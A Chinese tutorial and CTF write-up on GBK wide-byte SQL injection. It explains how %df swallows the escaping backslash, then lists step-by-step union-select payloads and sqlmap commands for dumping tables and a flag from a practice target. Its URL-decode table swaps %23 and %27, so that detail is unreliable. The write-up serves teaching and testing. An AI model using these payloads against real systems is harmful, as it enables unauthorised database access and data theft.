sql注入 宽字节注入
宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(ascii码要大于128,才到汉字的范围),
而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,
提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),
由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符
(mysql判断一个字符是不是汉字,首先两个字符时一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),
此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。)
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF:
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符 。
%df%5c -----> 運
%DF’
会被PHP当中的addslashes函数转义为“ %DF\' ” ,“\”则是URL里的“%5C”,那么也就是说,
“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
%df%5c%27 -----> 縗 '
例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
其对应的sql就是:
select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
所以%df和后面的\也就是%5c变成了一个汉字“運”, 而 ’ 逃逸了出来
URLdecode解码
%23: ’
%27: #
%5c: \
%df \ ------>運
%df%5c%27 -----> 縗 '
例题:
靶机:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
先尝试单引号?id=1’ 发现页面输出的引号被转义了,在前面加了一个 \ 符号
尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了
构造:?id=1%df%27
报错
再构造:?id=1%df%df%23
查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入
开始爆数据库:
?id=1%df%27 order by 2#
列数得知 2列。
爆库:
?id=-1%df%27 union select 1,database()%23
数据库:sae-chinalover
爆列表:
?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23
爆出这些表:
ctf,ctf2,ctf3,ctf4,gbksqli,news
爆字段:
?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
字段:id flag
查询关键字:
?id=-1%df%27 union select 1,flag from ctf4%23
利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"
跑出库 : sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --dbs
爆表: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover --tables
爆字段 sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -T ctf --columns
跑出flag: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover -C flag --dump